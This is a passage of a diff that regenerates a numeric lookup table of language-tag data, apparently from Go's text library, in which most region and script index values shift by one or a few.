0x0}, - 892: {region: 0x165, script: 0x5a, flags: 0x0}, - 893: {region: 0x165, script: 0x5a, flags: 0x0}, - 894: {region: 0x165, script: 0x5a, flags: 0x0}, - 895: {region: 0x165, script: 0x5a, flags: 0x0}, - 896: {region: 0x117, script: 0x5a, flags: 0x0}, - 897: {region: 0x165, script: 0x5a, flags: 0x0}, - 898: {region: 0x165, script: 0x5a, flags: 0x0}, - 899: {region: 0x135, script: 0x5a, flags: 0x0}, - 900: {region: 0x165, script: 0x5a, flags: 0x0}, - 901: {region: 0x53, script: 0x5a, flags: 0x0}, - 902: {region: 0x165, script: 0x5a, flags: 0x0}, - 903: {region: 0xce, script: 0x5a, flags: 0x0}, - 904: {region: 0x12f, script: 0x5a, flags: 0x0}, - 905: {region: 0x131, script: 0x5a, flags: 0x0}, - 906: {region: 0x80, script: 0x5a, flags: 0x0}, - 907: {region: 0x78, script: 0x5a, flags: 0x0}, - 908: {region: 0x165, script: 0x5a, flags: 0x0}, - 910: {region: 0x165, script: 0x5a, flags: 0x0}, - 911: {region: 0x165, script: 0x5a, flags: 0x0}, - 912: {region: 0x6f, script: 0x5a, flags: 0x0}, - 913: {region: 0x165, script: 0x5a, flags: 0x0}, - 914: {region: 0x165, script: 0x5a, flags: 0x0}, - 915: {region: 0x165, script: 0x5a, flags: 0x0}, - 916: {region: 0x165, script: 0x5a, flags: 0x0}, - 917: {region: 0x99, script: 0x81, flags: 0x0}, - 918: {region: 0x165, script: 0x5a, flags: 0x0}, - 919: {region: 0x165, script: 0x5, flags: 0x0}, - 920: {region: 0x7d, script: 0x20, flags: 0x0}, - 921: {region: 0x135, script: 0x82, flags: 0x0}, - 922: {region: 0x165, script: 0x5, flags: 0x0}, - 923: {region: 0xc5, script: 0x80, flags: 0x0}, - 924: {region: 0x165, script: 0x5a, flags: 0x0}, + 889: {region: 0x166, script: 0x5b, flags: 0x0}, + 890: {region: 0x162, script: 0x5b, flags: 0x0}, + 891: {region: 0x166, script: 0x5b, flags: 0x0}, + 892: {region: 0x166, script: 0x5b, flags: 0x0}, + 893: {region: 0x166, script: 0x5b, flags: 0x0}, + 894: {region: 0x166, script: 0x5b, flags: 0x0}, + 895: {region: 0x166, script: 0x5b, flags: 0x0}, + 896: {region: 0x118, script: 0x5b, flags: 0x0}, + 897: {region: 0x166, script: 0x5b, flags: 0x0}, + 898: {region: 0x166, script: 0x5b, flags: 0x0}, + 899: {region: 0x136, script: 0x5b, flags: 0x0}, + 900: {region: 0x166, script: 0x5b, flags: 0x0}, + 901: {region: 0x53, script: 0x5b, flags: 0x0}, + 902: {region: 0x166, script: 0x5b, flags: 0x0}, + 903: {region: 0xcf, script: 0x5b, flags: 0x0}, + 904: {region: 0x130, script: 0x5b, flags: 0x0}, + 905: {region: 0x132, script: 0x5b, flags: 0x0}, + 906: {region: 0x81, script: 0x5b, flags: 0x0}, + 907: {region: 0x79, script: 0x5b, flags: 0x0}, + 908: {region: 0x166, script: 0x5b, flags: 0x0}, + 910: {region: 0x166, script: 0x5b, flags: 0x0}, + 911: {region: 0x166, script: 0x5b, flags: 0x0}, + 912: {region: 0x70, script: 0x5b, flags: 0x0}, + 913: {region: 0x166, script: 0x5b, flags: 0x0}, + 914: {region: 0x166, script: 0x5b, flags: 0x0}, + 915: {region: 0x166, script: 0x5b, flags: 0x0}, + 916: {region: 0x166, script: 0x5b, flags: 0x0}, + 917: {region: 0x9a, script: 0x83, flags: 0x0}, + 918: {region: 0x166, script: 0x5b, flags: 0x0}, + 919: {region: 0x166, script: 0x5, flags: 0x0}, + 920: {region: 0x7e, script: 0x20, flags: 0x0}, + 921: {region: 0x136, script: 0x84, flags: 0x0}, + 922: {region: 0x166, script: 0x5, flags: 0x0}, + 923: {region: 0xc6, script: 0x82, flags: 0x0}, + 924: {region: 0x166, script: 0x5b, flags: 0x0}, 925: {region: 0x2c, script: 0x3, flags: 0x1}, - 926: {region: 0xe7, script: 0x5a, flags: 0x0}, + 926: {region: 0xe8, script: 0x5b, flags: 0x0}, 927: {region: 0x2f, script: 0x2, flags: 0x1}, - 928: {region: 0xe7, script: 0x5a, flags: 0x0}, - 929: {region: 0x30, script: 0x5a, flags: 0x0}, - 930: {region: 0xf0, script: 0x5a, flags: 0x0}, - 931: {region: 0x165, script: 0x5a, flags: 0x0}, - 932: {region: 0x78, script: 0x5a, flags: 0x0}, - 933: {region: 0xd6, script: 0x5a, flags: 0x0}, - 934: {region: 0x135, script: 0x5a, flags: 0x0}, - 935: {region: 0x49, script: 0x5a, flags: 0x0}, - 936: {region: 0x165, script: 0x5a, flags: 0x0}, - 937: {region: 0x9c, script: 0xf7, flags: 0x0}, - 938: {region: 0x165, script: 0x5a, flags: 0x0}, - 939: {region: 0x60, script: 0x5a, flags: 0x0}, - 940: {region: 0x165, script: 0x5, flags: 0x0}, - 941: {region: 0xb0, script: 0x8e, flags: 0x0}, - 943: {region: 0x165, script: 0x5a, flags: 0x0}, - 944: {region: 0x165, script: 0x5a, flags: 0x0}, - 945: {region: 0x99, script: 0x12, flags: 0x0}, - 946: {region: 0xa4, script: 0x5a, flags: 0x0}, - 947: {region: 0xe9, script: 0x5a, flags: 0x0}, - 948: {region: 0x165, script: 0x5a, flags: 0x0}, - 949: {region: 0x9e, script: 0x5a, flags: 0x0}, - 950: {region: 0x165, script: 0x5a, flags: 0x0}, - 951: {region: 0x165, script: 0x5a, flags: 0x0}, - 952: {region: 0x87, script: 0x34, flags: 0x0}, - 953: {region: 0x75, script: 0x5a, flags: 0x0}, - 954: {region: 0x165, script: 0x5a, flags: 0x0}, - 955: {region: 0xe8, script: 0x4d, flags: 0x0}, - 956: {region: 0x9c, script: 0x5, flags: 0x0}, - 957: {region: 0x1, script: 0x5a, flags: 0x0}, + 928: {region: 0xe8, script: 0x5b, flags: 0x0}, + 929: {region: 0x30, script: 0x5b, flags: 0x0}, + 930: {region: 0xf1, script: 0x5b, flags: 0x0}, + 931: {region: 0x166, script: 0x5b, flags: 0x0}, + 932: {region: 0x79, script: 0x5b, flags: 0x0}, + 933: {region: 0xd7, script: 0x5b, flags: 0x0}, + 934: {region: 0x136, script: 0x5b, flags: 0x0}, + 935: {region: 0x49, script: 0x5b, flags: 0x0}, + 936: {region: 0x166, script: 0x5b, flags: 0x0}, + 937: {region: 0x9d, script: 0xfa, flags: 0x0}, + 938: {region: 0x166, script: 0x5b, flags: 0x0}, + 939: {region: 0x61, script: 0x5b, flags: 0x0}, + 940: {region: 0x166, script: 0x5, flags: 0x0}, + 941: {region: 0xb1, script: 0x90, flags: 0x0}, + 943: {region: 0x166, script: 0x5b, flags: 0x0}, + 944: {region: 0x166, script: 0x5b, flags: 0x0}, + 945: {region: 0x9a, script: 0x12, flags: 0x0}, + 946: {region: 0xa5, script: 0x5b, flags: 0x0}, + 947: {region: 0xea, script: 0x5b, flags: 0x0}, + 948: {region: 0x166, script: 0x5b, flags: 0x0}, + 949: {region: 0x9f, script: 0x5b, flags: 0x0}, + 950: {region: 0x166, script: 0x5b, flags: 0x0}, + 951: {region: 0x166, script: 0x5b, flags: 0x0}, + 952: {region: 0x88, script: 0x34, flags: 0x0}, + 953: {region: 0x76, script: 0x5b, flags: 0x0}, + 954: {region: 0x166, script: 0x5b, flags: 0x0}, + 955: {region: 0xe9, script: 0x4e, flags: 0x0}, + 956: {region: 0x9d, script: 0x5, flags: 0x0}, + 957: {region: 0x1, script: 0x5b, flags: 0x0}, 958: {region: 0x24, script: 0x5, flags: 0x0}, - 959: {region: 0x165, script: 0x5a, flags: 0x0}, - 960: {region: 0x41, script: 0x5a, flags: 0x0}, - 961: {region: 0x165, script: 0x5a, flags: 0x0}, - 962: {region: 0x7a, script: 0x5a, flags: 0x0}, - 963: {region: 0x165, script: 0x5a, flags: 0x0}, - 964: {region: 0xe4, script: 0x5a, flags: 0x0}, - 965: {region: 0x89, script: 0x5a, flags: 0x0}, - 966: {region: 0x69, script: 0x5a, flags: 0x0}, - 967: {region: 0x165, script: 0x5a, flags: 0x0}, - 968: {region: 0x99, script: 0x22, flags: 0x0}, - 969: {region: 0x165, script: 0x5a, flags: 0x0}, - 970: {region: 0x102, script: 0x5a, flags: 0x0}, - 971: {region: 0x95, script: 0x5a, flags: 0x0}, - 972: {region: 0x165, script: 0x5a, flags: 0x0}, - 973: {region: 0x165, script: 0x5a, flags: 0x0}, - 974: {region: 0x9e, script: 0x5a, flags: 0x0}, - 975: {region: 0x165, script: 0x5, flags: 0x0}, - 976: {region: 0x99, script: 0x5a, flags: 0x0}, + 959: {region: 0x166, script: 0x5b, flags: 0x0}, + 960: {region: 0x41, script: 0x5b, flags: 0x0}, + 961: {region: 0x166, script: 0x5b, flags: 0x0}, + 962: {region: 0x7b, script: 0x5b, flags: 0x0}, + 963: {region: 0x166, script: 0x5b, flags: 0x0}, + 964: {region: 0xe5, script: 0x5b, flags: 0x0}, + 965: {region: 0x8a, script: 0x5b, flags: 0x0}, + 966: {region: 0x6a, script: 0x5b, flags: 0x0}, + 967: {region: 0x166, script: 0x5b, flags: 0x0}, + 968: {region: 0x9a, script: 0x22, flags: 0x0}, + 969: {region: 0x166, script: 0x5b, flags: 0x0}, + 970: {region: 0x103, script: 0x5b, flags: 0x0}, + 971: {region: 0x96, script: 0x5b, flags: 0x0}, + 972: {region: 0x166, script: 0x5b, flags: 0x0}, + 973: {region: 0x166, script: 0x5b, flags: 0x0}, + 974: {region: 0x9f, script: 0x5b, flags: 0x0}, + 975: {region: 0x166, script: 0x5, flags: 0x0}, + 976: {region: 0x9a, script: 0x5b, flags: 0x0}, 977: {region: 0x31, script: 0x2, flags: 0x1}, - 978: {region: 0xdb, script: 0x22, flags: 0x0}, + 978: {region: 0xdc, script: 0x22, flags: 0x0}, 979: {region: 0x35, script: 0xe, flags: 0x0}, - 980: {region: 0x4e, script: 0x5a, flags: 0x0}, - 981: {region: 0x72, script: 0x5a, flags: 0x0}, - 982: {region: 0x4e, script: 0x5a, flags: 0x0}, - 983: {region: 0x9c, script: 0x5, flags: 0x0}, - 984: {region: 0x10c, script: 0x5a, flags: 0x0}, - 985: {region: 0x3a, script: 0x5a, flags: 0x0}, - 986: {region: 0x165, script: 0x5a, flags: 0x0}, - 987: {region: 0xd1, script: 0x5a, flags: 0x0}, - 988: {region: 0x104, script: 0x5a, flags: 0x0}, - 989: {region: 0x95, script: 0x5a, flags: 0x0}, - 990: {region: 0x12f, script: 0x5a, flags: 0x0}, - 991: {region: 0x165, script: 0x5a, flags: 0x0}, - 992: {region: 0x165, script: 0x5a, flags: 0x0}, - 993: {region: 0x73, script: 0x5a, flags: 0x0}, - 994: {region: 0x106, script: 0x20, flags: 0x0}, - 995: {region: 0x130, script: 0x20, flags: 0x0}, - 996: {region: 0x109, script: 0x5a, flags: 0x0}, - 997: {region: 0x107, script: 0x5a, flags: 0x0}, - 998: {region: 0x12f, script: 0x5a, flags: 0x0}, - 999: {region: 0x165, script: 0x5a, flags: 0x0}, - 1000: {region: 0xa2, script: 0x4c, flags: 0x0}, - 1001: {region: 0x99, script: 0x22, flags: 0x0}, - 1002: {region: 0x80, script: 0x5a, flags: 0x0}, - 1003: {region: 0x106, script: 0x20, flags: 0x0}, - 1004: {region: 0xa4, script: 0x5a, flags: 0x0}, - 1005: {region: 0x95, script: 0x5a, flags: 0x0}, - 1006: {region: 0x99, script: 0x5a, flags: 0x0}, - 1007: {region: 0x114, script: 0x5a, flags: 0x0}, - 1008: {region: 0x99, script: 0xcd, flags: 0x0}, - 1009: {region: 0x165, script: 0x5a, flags: 0x0}, - 1010: {region: 0x165, script: 0x5a, flags: 0x0}, - 1011: {region: 0x12f, script: 0x5a, flags: 0x0}, - 1012: {region: 0x9e, script: 0x5a, flags: 0x0}, - 1013: {region: 0x99, script: 0x22, flags: 0x0}, - 1014: {region: 0x165, script: 0x5, flags: 0x0}, - 1015: {region: 0x9e, script: 0x5a, flags: 0x0}, - 1016: {region: 0x7b, script: 0x5a, flags: 0x0}, - 1017: {region: 0x49, script: 0x5a, flags: 0x0}, + 980: {region: 0x4e, script: 0x5b, flags: 0x0}, + 981: {region: 0x73, script: 0x5b, flags: 0x0}, + 982: {region: 0x4e, script: 0x5b, flags: 0x0}, + 983: {region: 0x9d, script: 0x5, flags: 0x0}, + 984: {region: 0x10d, script: 0x5b, flags: 0x0}, + 985: {region: 0x3a, script: 0x5b, flags: 0x0}, + 986: {region: 0x166, script: 0x5b, flags: 0x0}, + 987: {region: 0xd2, script: 0x5b, flags: 0x0}, + 988: {region: 0x105, script: 0x5b, flags: 0x0}, + 989: {region: 0x96, script: 0x5b, flags: 0x0}, + 990: {region: 0x130, script: 0x5b, flags: 0x0}, + 991: {region: 0x166, script: 0x5b, flags: 0x0}, + 992: {region: 0x166, script: 0x5b, flags: 0x0}, + 993: {region: 0x74, script: 0x5b, flags: 0x0}, + 994: {region: 0x107, script: 0x20, flags: 0x0}, + 995: {region: 0x131, script: 0x20, flags: 0x0}, + 996: {region: 0x10a, script: 0x5b, flags: 0x0}, + 997: {region: 0x108, script: 0x5b, flags: 0x0}, + 998: {region: 0x130, script: 0x5b, flags: 0x0}, + 999: {region: 0x166, script: 0x5b, flags: 0x0}, + 1000: {region: 0xa3, script: 0x4c, flags: 0x0}, + 1001: {region: 0x9a, script: 0x22, flags: 0x0}, + 1002: {region: 0x81, script: 0x5b, flags: 0x0}, + 1003: {region: 0x107, script: 0x20, flags: 0x0}, + 1004: {region: 0xa5, script: 0x5b, flags: 0x0}, + 1005: {region: 0x96, script: 0x5b, flags: 0x0}, + 1006: {region: 0x9a, script: 0x5b, flags: 0x0}, + 1007: {region: 0x115, script: 0x5b, flags: 0x0}, + 1008: {region: 0x9a, script: 0xcf, flags: 0x0}, + 1009: {region: 0x166, script: 0x5b, flags: 0x0}, + 1010: {region: 0x166, script: 0x5b, flags: 0x0}, + 1011: {region: 0x130, script: 0x5b, flags: 0x0}, + 1012: {region: 0x9f, script: 0x5b, flags: 0x0}, + 1013: {region: 0x9a, script: 0x22, flags: 0x0}, + 1014: {region: 0x166, script: 0x5, flags: 0x0}, + 1015: {region: 0x9f, script: 0x5b, flags: 0x0}, + 1016: {region: 0x7c, script: 0x5b, flags: 0x0}, + 1017: {region: 0x49, script: 0x5b, flags: 0x0}, 1018: {region: 0x33, script: 0x4, flags: 0x1}, - 1019: {region: 0x9e, script: 0x5a, flags: 0x0}, - 1020: {region: 0x9c, script: 0x5, flags: 0x0}, - 1021: {region: 0xda, script: 0x5a, flags: 0x0}, - 1022: {region: 0x4f, script: 0x5a, flags: 0x0}, - 1023: {region: 0xd1, script: 0x5a, flags: 0x0}, - 1024: {region: 0xcf, script: 0x5a, flags: 0x0}, - 1025: {region: 0xc3, script: 0x5a, flags: 0x0}, - 1026: {region: 0x4c, script: 0x5a, flags: 0x0}, - 1027: {region: 0x96, script: 0x7e, flags: 0x0}, - 1028: {region: 0xb6, script: 0x5a, flags: 0x0}, - 1029: {region: 0x165, script: 0x2c, flags: 0x0}, - 1030: {region: 0x165, script: 0x5a, flags: 0x0}, - 1032: {region: 0xba, script: 0xe8, flags: 0x0}, - 1033: {region: 0x165, script: 0x5a, flags: 0x0}, - 1034: {region: 0xc4, script: 0x75, flags: 0x0}, - 1035: {region: 0x165, script: 0x5, flags: 0x0}, - 1036: {region: 0xb3, script: 0xd4, flags: 0x0}, - 1037: {region: 0x6f, script: 0x5a, flags: 0x0}, - 1038: {region: 0x165, script: 0x5a, flags: 0x0}, - 1039: {region: 0x165, script: 0x5a, flags: 0x0}, - 1040: {region: 0x165, script: 0x5a, flags: 0x0}, - 1041: {region: 0x165, script: 0x5a, flags: 0x0}, - 1042: {region: 0x111, script: 0x5a, flags: 0x0}, - 1043: {region: 0x165, script: 0x5a, flags: 0x0}, - 1044: {region: 0xe8, script: 0x5, flags: 0x0}, - 1045: {region: 0x165, script: 0x5a, flags: 0x0}, - 1046: {region: 0x10f, script: 0x5a, flags: 0x0}, - 1047: {region: 0x165, script: 0x5a, flags: 0x0}, - 1048: {region: 0xe9, script: 0x5a, flags: 0x0}, - 1049: {region: 0x165, script: 0x5a, flags: 0x0}, - 1050: {region: 0x95, script: 0x5a, flags: 0x0}, - 1051: {region: 0x142, script: 0x5a, flags: 0x0}, - 1052: {region: 0x10c, script: 0x5a, flags: 0x0}, - 1054: {region: 0x10c, script: 0x5a, flags: 0x0}, - 1055: {region: 0x72, script: 0x5a, flags: 0x0}, - 1056: {region: 0x97, script: 0xca, flags: 0x0}, - 1057: {region: 0x165, script: 0x5a, flags: 0x0}, - 1058: {region: 0x72, script: 0x5a, flags: 0x0}, - 1059: {region: 0x164, script: 0x5a, flags: 0x0}, - 1060: {region: 0x165, script: 0x5a, flags: 0x0}, - 1061: {region: 0xc3, script: 0x5a, flags: 0x0}, - 1062: {region: 0x165, script: 0x5a, flags: 0x0}, - 1063: {region: 0x165, script: 0x5a, flags: 0x0}, - 1064: {region: 0x165, script: 0x5a, flags: 0x0}, - 1065: {region: 0x115, script: 0x5a, flags: 0x0}, - 1066: {region: 0x165, script: 0x5a, flags: 0x0}, - 1067: {region: 0x165, script: 0x5a, flags: 0x0}, - 1068: {region: 0x123, script: 0xeb, flags: 0x0}, - 1069: {region: 0x165, script: 0x5a, flags: 0x0}, - 1070: {region: 0x165, script: 0x5a, flags: 0x0}, - 1071: {region: 0x165, script: 0x5a, flags: 0x0}, - 1072: {region: 0x165, script: 0x5a, flags: 0x0}, - 1073: {region: 0x27, script: 0x5a, flags: 0x0}, + 1019: {region: 0x9f, script: 0x5b, flags: 0x0}, + 1020: {region: 0x9d, script: 0x5, flags: 0x0}, + 1021: {region: 0xdb, script: 0x5b, flags: 0x0}, + 1022: {region: 0x4f, script: 0x5b, flags: 0x0}, + 1023: {region: 0xd2, script: 0x5b, flags: 0x0}, + 1024: {region: 0xd0, script: 0x5b, flags: 0x0}, + 1025: {region: 0xc4, script: 0x5b, flags: 0x0}, + 1026: {region: 0x4c, script: 0x5b, flags: 0x0}, + 1027: {region: 0x97, script: 0x80, flags: 0x0}, + 1028: {region: 0xb7, script: 0x5b, flags: 0x0}, + 1029: {region: 0x166, script: 0x2c, flags: 0x0}, + 1030: {region: 0x166, script: 0x5b, flags: 0x0}, + 1032: {region: 0xbb, script: 0xeb, flags: 0x0}, + 1033: {region: 0x166, script: 0x5b, flags: 0x0}, + 1034: {region: 0xc5, script: 0x76, flags: 0x0}, + 1035: {region: 0x166, script: 0x5, flags: 0x0}, + 1036: {region: 0xb4, script: 0xd6, flags: 0x0}, + 1037: {region: 0x70, script: 0x5b, flags: 0x0}, + 1038: {region: 0x166, script: 0x5b, flags: 0x0}, + 1039: {region: 0x166, script: 0x5b, flags: 0x0}, + 1040: {region: 0x166, script: 0x5b, flags: 0x0}, + 1041: {region: 0x166, script: 0x5b, flags: 0x0}, + 1042: {region: 0x112, script: 0x5b, flags: 0x0}, + 1043: {region: 0x166, script: 0x5b, flags: 0x0}, + 1044: {region: 0xe9, script: 0x5, flags: 0x0}, + 1045: {region: 0x166, script: 0x5b, flags: 0x0}, + 1046: {region: 0x110, script: 0x5b, flags: 0x0}, + 1047: {region: 0x166, script: 0x5b, flags: 0x0}, + 1048: {region: 0xea, script: 0x5b, flags: 0x0}, + 1049: {region: 0x166, script: 0x5b, flags: 0x0}, + 1050: {region: 0x96, script: 0x5b, flags: 0x0}, + 1051: {region: 0x143, script: 0x5b, flags: 0x0}, + 1052: {region: 0x10d, script: 0x5b, flags: 0x0}, + 1054: {region: 0x10d, script: 0x5b, flags: 0x0}, + 1055: {region: 0x73, script: 0x5b, flags: 0x0}, + 1056: {region: 0x98, script: 0xcc, flags: 0x0}, + 1057: {region: 0x166, script: 0x5b, flags: 0x0}, + 1058: {region: 0x73, script: 0x5b, flags: 0x0}, + 1059: {region: 0x165, script: 0x5b, flags: 0x0}, + 1060: {region: 0x166, script: 0x5b, flags: 0x0}, + 1061: {region: 0xc4, script: 0x5b, flags: 0x0}, + 1062: {region: 0x166, script: 0x5b, flags: 0x0}, + 1063: {region: 0x166, script: 0x5b, flags: 0x0}, + 1064: {region: 0x166, script: 0x5b, flags: 0x0}, + 1065: {region: 0x116, script: 0x5b, flags: 0x0}, + 1066: {region: 0x166, script: 0x5b, flags: 0x0}, + 1067: {region: 0x166, script: 0x5b, flags: 0x0}, + 1068: {region: 0x124, script: 0xee, flags: 0x0}, + 1069: {region: 0x166, script: 0x5b, flags: 0x0}, + 1070: {region: 0x166, script: 0x5b, flags: 0x0}, + 1071: {region: 0x166, script: 0x5b, flags: 0x0}, + 1072: {region: 0x166, script: 0x5b, flags: 0x0}, + 1073: {region: 0x27, script: 0x5b, flags: 0x0}, 1074: {region: 0x37, script: 0x5, flags: 0x1}, - 1075: {region: 0x99, script: 0xd7, flags: 0x0}, - 1076: {region: 0x116, script: 0x5a, flags: 0x0}, - 1077: {region: 0x114, script: 0x5a, flags: 0x0}, - 1078: {region: 0x99, script: 0x22, flags: 0x0}, - 1079: {region: 0x161, script: 0x5a, flags: 0x0}, - 1080: {region: 0x165, script: 0x5a, flags: 0x0}, - 1081: {region: 0x165, script: 0x5a, flags: 0x0}, - 1082: {region: 0x6d, script: 0x5a, flags: 0x0}, - 1083: {region: 0x161, script: 0x5a, flags: 0x0}, - 1084: {region: 0x165, script: 0x5a, flags: 0x0}, - 1085: {region: 0x60, script: 0x5a, flags: 0x0}, - 1086: {region: 0x95, script: 0x5a, flags: 0x0}, - 1087: {region: 0x165, script: 0x5a, flags: 0x0}, - 1088: {region: 0x165, script: 0x5a, flags: 0x0}, - 1089: {region: 0x12f, script: 0x5a, flags: 0x0}, - 1090: {region: 0x165, script: 0x5a, flags: 0x0}, - 1091: {region: 0x84, script: 0x5a, flags: 0x0}, - 1092: {region: 0x10c, script: 0x5a, flags: 0x0}, - 1093: {region: 0x12f, script: 0x5a, flags: 0x0}, - 1094: {region: 0x15f, script: 0x5, flags: 0x0}, - 1095: {region: 0x4b, script: 0x5a, flags: 0x0}, - 1096: {region: 0x60, script: 0x5a, flags: 0x0}, - 1097: {region: 0x165, script: 0x5a, flags: 0x0}, - 1098: {region: 0x99, script: 0x22, flags: 0x0}, - 1099: {region: 0x95, script: 0x5a, flags: 0x0}, - 1100: {region: 0x165, script: 0x5a, flags: 0x0}, + 1075: {region: 0x9a, script: 0xd9, flags: 0x0}, + 1076: {region: 0x117, script: 0x5b, flags: 0x0}, + 1077: {region: 0x115, script: 0x5b, flags: 0x0}, + 1078: {region: 0x9a, script: 0x22, flags: 0x0}, + 1079: {region: 0x162, script: 0x5b, flags: 0x0}, + 1080: {region: 0x166, script: 0x5b, flags: 0x0}, + 1081: {region: 0x166, script: 0x5b, flags: 0x0}, + 1082: {region: 0x6e, script: 0x5b, flags: 0x0}, + 1083: {region: 0x162, script: 0x5b, flags: 0x0}, + 1084: {region: 0x166, script: 0x5b, flags: 0x0}, + 1085: {region: 0x61, script: 0x5b, flags: 0x0}, + 1086: {region: 0x96, script: 0x5b, flags: 0x0}, + 1087: {region: 0x166, script: 0x5b, flags: 0x0}, + 1088: {region: 0x166, script: 0x5b, flags: 0x0}, + 1089: {region: 0x130, script: 0x5b, flags: 0x0}, + 1090: {region: 0x166, script: 0x5b, flags: 0x0}, + 1091: {region: 0x85, script: 0x5b, flags: 0x0}, + 1092: {region: 0x10d, script: 0x5b, flags: 0x0}, + 1093: {region: 0x130, script: 0x5b, flags: 0x0}, + 1094: {region: 0x160, script: 0x5, flags: 0x0}, + 1095: {region: 0x4b, script: 0x5b, flags: 0x0}, + 1096: {region: 0x61, script: 0x5b, flags: 0x0}, + 1097: {region: 0x166, script: 0x5b, flags: 0x0}, + 1098: {region: 0x9a, script: 0x22, flags: 0x0}, + 1099: {region: 0x96, script: 0x5b, flags: 0x0}, + 1100: {region: 0x166, script: 0x5b, flags: 0x0}, 1101: {region: 0x35, script: 0xe, flags: 0x0}, - 1102: {region: 0x9b, script: 0xdb, flags: 0x0}, - 1103: {region: 0xe9, script: 0x5a, flags: 0x0}, - 1104: {region: 0x99, script: 0xe3, flags: 0x0}, - 1105: {region: 0xdb, script: 0x22, flags: 0x0}, - 1106: {region: 0x165, script: 0x5a, flags: 0x0}, - 1107: {region: 0x165, script: 0x5a, flags: 0x0}, - 1108: {region: 0x165, script: 0x5a, flags: 0x0}, - 1109: {region: 0x165, script: 0x5a, flags: 0x0}, - 1110: {region: 0x165, script: 0x5a, flags: 0x0}, - 1111: {region: 0x165, script: 0x5a, flags: 0x0}, - 1112: {region: 0x165, script: 0x5a, flags: 0x0}, - 1113: {region: 0x165, script: 0x5a, flags: 0x0}, - 1114: {region: 0xe7, script: 0x5a, flags: 0x0}, - 1115: {region: 0x165, script: 0x5a, flags: 0x0}, - 1116: {region: 0x165, script: 0x5a, flags: 0x0}, - 1117: {region: 0x99, script: 0x52, flags: 0x0}, - 1118: {region: 0x53, script: 0xe1, flags: 0x0}, - 1119: {region: 0xdb, script: 0x22, flags: 0x0}, - 1120: {region: 0xdb, script: 0x22, flags: 0x0}, - 1121: {region: 0x99, script: 0xe6, flags: 0x0}, - 1122: {region: 0x165, script: 0x5a, flags: 0x0}, - 1123: {region: 0x112, script: 0x5a, flags: 0x0}, - 1124: {region: 0x131, script: 0x5a, flags: 0x0}, - 1125: {region: 0x126, script: 0x5a, flags: 0x0}, - 1126: {region: 0x165, script: 0x5a, flags: 0x0}, + 1102: {region: 0x9c, script: 0xde, flags: 0x0}, + 1103: {region: 0xea, script: 0x5b, flags: 0x0}, + 1104: {region: 0x9a, script: 0xe6, flags: 0x0}, + 1105: {region: 0xdc, script: 0x22, flags: 0x0}, + 1106: {region: 0x166, script: 0x5b, flags: 0x0}, + 1107: {region: 0x166, script: 0x5b, flags: 0x0}, + 1108: {region: 0x166, script: 0x5b, flags: 0x0}, + 1109: {region: 0x166, script: 0x5b, flags: 0x0}, + 1110: {region: 0x166, script: 0x5b, flags: 0x0}, + 1111: {region: 0x166, script: 0x5b, flags: 0x0}, + 1112: {region: 0x166, script: 0x5b, flags: 0x0}, + 1113: {region: 0x166, script: 0x5b, flags: 0x0}, + 1114: {region: 0xe8, script: 0x5b, flags: 0x0}, + 1115: {region: 0x166, script: 0x5b, flags: 0x0}, + 1116: {region: 0x166, script: 0x5b, flags: 0x0}, + 1117: {region: 0x9a, script: 0x53, flags: 0x0}, + 1118: {region: 0x53, script: 0xe4, flags: 0x0}, + 1119: {region: 0xdc, script: 0x22, flags: 0x0}, + 1120: {region: 0xdc, script: 0x22, flags: 0x0}, + 1121: {region: 0x9a, script: 0xe9, flags: 0x0}, + 1122: {region: 0x166, script: 0x5b, flags: 0x0}, + 1123: {region: 0x113, script: 0x5b, flags: 0x0}, + 1124: {region: 0x132, script: 0x5b, flags: 0x0}, + 1125: {region: 0x127, script: 0x5b, flags: 0x0}, + 1126: {region: 0x166, script: 0x5b, flags: 0x0}, 1127: {region: 0x3c, script: 0x3, flags: 0x1}, - 1128: {region: 0x165, script: 0x5a, flags: 0x0}, - 1129: {region: 0x165, script: 0x5a, flags: 0x0}, - 1130: {region: 0x165, script: 0x5a, flags: 0x0}, - 1131: {region: 0x123, script: 0xeb, flags: 0x0}, - 1132: {region: 0xdb, script: 0x22, flags: 0x0}, - 1133: {region: 0xdb, script: 0x22, flags: 0x0}, - 1134: {region: 0xdb, script: 0x22, flags: 0x0}, - 1135: {region: 0x6f, script: 0x2c, flags: 0x0}, - 1136: {region: 0x165, script: 0x5a, flags: 0x0}, - 1137: {region: 0x6d, script: 0x2c, flags: 0x0}, - 1138: {region: 0x165, script: 0x5a, flags: 0x0}, - 1139: {region: 0x165, script: 0x5a, flags: 0x0}, - 1140: {region: 0x165, script: 0x5a, flags: 0x0}, - 1141: {region: 0xd6, script: 0x5a, flags: 0x0}, - 1142: {region: 0x127, script: 0x5a, flags: 0x0}, - 1143: {region: 0x125, script: 0x5a, flags: 0x0}, - 1144: {region: 0x32, script: 0x5a, flags: 0x0}, - 1145: {region: 0xdb, script: 0x22, flags: 0x0}, - 1146: {region: 0xe7, script: 0x5a, flags: 0x0}, - 1147: {region: 0x165, script: 0x5a, flags: 0x0}, - 1148: {region: 0x165, script: 0x5a, flags: 0x0}, - 1149: {region: 0x32, script: 0x5a, flags: 0x0}, - 1150: {region: 0xd4, script: 0x5a, flags: 0x0}, - 1151: {region: 0x165, script: 0x5a, flags: 0x0}, - 1152: {region: 0x161, script: 0x5a, flags: 0x0}, - 1153: {region: 0x165, script: 0x5a, flags: 0x0}, - 1154: {region: 0x129, script: 0x5a, flags: 0x0}, - 1155: {region: 0x165, script: 0x5a, flags: 0x0}, - 1156: {region: 0xce, script: 0x5a, flags: 0x0}, - 1157: {region: 0x165, script: 0x5a, flags: 0x0}, - 1158: {region: 0xe6, script: 0x5a, flags: 0x0}, - 1159: {region: 0x165, script: 0x5a, flags: 0x0}, - 1160: {region: 0x165, script: 0x5a, flags: 0x0}, - 1161: {region: 0x165, script: 0x5a, flags: 0x0}, - 1162: {region: 0x12b, script: 0x5a, flags: 0x0}, - 1163: {region: 0x12b, script: 0x5a, flags: 0x0}, - 1164: {region: 0x12e, script: 0x5a, flags: 0x0}, - 1165: {region: 0x165, script: 0x5, flags: 0x0}, - 1166: {region: 0x161, script: 0x5a, flags: 0x0}, - 1167: {region: 0x87, script: 0x34, flags: 0x0}, - 1168: {region: 0xdb, script: 0x22, flags: 0x0}, - 1169: {region: 0xe7, script: 0x5a, flags: 0x0}, - 1170: {region: 0x43, script: 0xec, flags: 0x0}, - 1171: {region: 0x165, script: 0x5a, flags: 0x0}, - 1172: {region: 0x106, script: 0x20, flags: 0x0}, - 1173: {region: 0x165, script: 0x5a, flags: 0x0}, - 1174: {region: 0x165, script: 0x5a, flags: 